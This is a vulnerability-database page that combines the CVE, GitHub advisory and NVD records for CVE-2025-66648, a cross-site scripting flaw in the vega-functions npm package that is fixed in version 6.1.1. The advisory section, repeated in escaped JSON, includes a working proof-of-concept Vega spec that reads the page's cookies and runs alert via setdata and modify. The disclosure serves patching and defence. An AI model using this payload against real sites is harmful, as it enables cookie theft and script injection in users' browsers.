Vulnerability-Lookup

CVE-2025-66648 (GCVE-0-2025-66648)

Vulnerability from cvelistv5 – Published: 2026-01-05 21:33 – Updated: 2026-01-06 15:40

Title

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

Summary

vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.

Severity ?

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

https://github.com/vega/vega/security/advisories/…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	vega	vega	Affected: < 6.1.1

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2025-66648",
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                "role": "CISA Coordinator",
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        }
      ],
      "metrics": [
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      "source": {
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        "discovery": "UNKNOWN"
      },
      "title": "`vega-functions` vulnerable to Cross-site Scripting via `setdata` function"
    }
  },
  "cveMetadata": {
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    "datePublished": "2026-01-05T21:33:14.011Z",
    "dateReserved": "2025-12-05T20:23:19.596Z",
    "dateUpdated": "2026-01-06T15:40:18.443Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
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GHSA-M9RG-MR6G-75GM

Vulnerability from github – Published: 2026-01-05 22:58 – Updated: 2026-01-06 15:51

Summary

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

Details

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}

Severity ?

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vega-functions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T22:58:07Z",
    "nvd_published_at": "2026-01-05T22:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nFor sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS).\n\n### Patches\n\nFixed in vega-functions `6.1.1`\n\n### Workarounds\n\nThere is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue.  \n\n\n### Exploit Proof of Concept\n\nVega\u0027s expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:\n\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v6.json\",\n  \"data\": [\n    {\n      \"name\": \"table\",\n      \"values\": [\n        {\"category\": \"A\", \"amount\": 28}\n      ]\n    }\n  ],\n  \"signals\": [\n    {\n      \"name\": \"tooltip\",\n      \"value\": {},\n      \"on\": [\n        {\"events\": {\"type\":\"timer\",\"throttle\":2000}, \"update\": \"setdata(\u0027table\u0027,[[\u0027Domain: \u0027+event.dataflow._el.ownerDocument.domain+\u0027 , cookies: \u0027+ event.dataflow._el.ownerDocument.cookie ]])+warn(\u0027XSS is here\u0027, modify(\u0027table\u0027,2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{\u0027tttt\u0027:\u0027yyyy\u0027}) )\"},\n        {\"events\": \"rect:pointerout\",  \"update\": \"{}\"}\n      ]\n    }\n  ]\n}\n```",
  "id": "GHSA-m9rg-mr6g-75gm",
  "modified": "2026-01-06T15:51:53Z",
  "published": "2026-01-05T22:58:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66648"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vega/vega"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`vega-functions` vulnerable to Cross-site Scripting via `setdata` function"
}

FKIE_CVE-2025-66648

Vulnerability from fkie_nvd - Published: 2026-01-05 22:15 - Updated: 2026-01-08 18:09

Severity ?

7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue."
    }
  ],
  "id": "CVE-2025-66648",
  "lastModified": "2026-01-08T18:09:23.230",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-05T22:15:51.400",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-66648 (GCVE-0-2025-66648)

GHSA-M9RG-MR6G-75GM

Impact

Patches

Workarounds

Exploit Proof of Concept

FKIE_CVE-2025-66648

Tags

Sightings

Nomenclature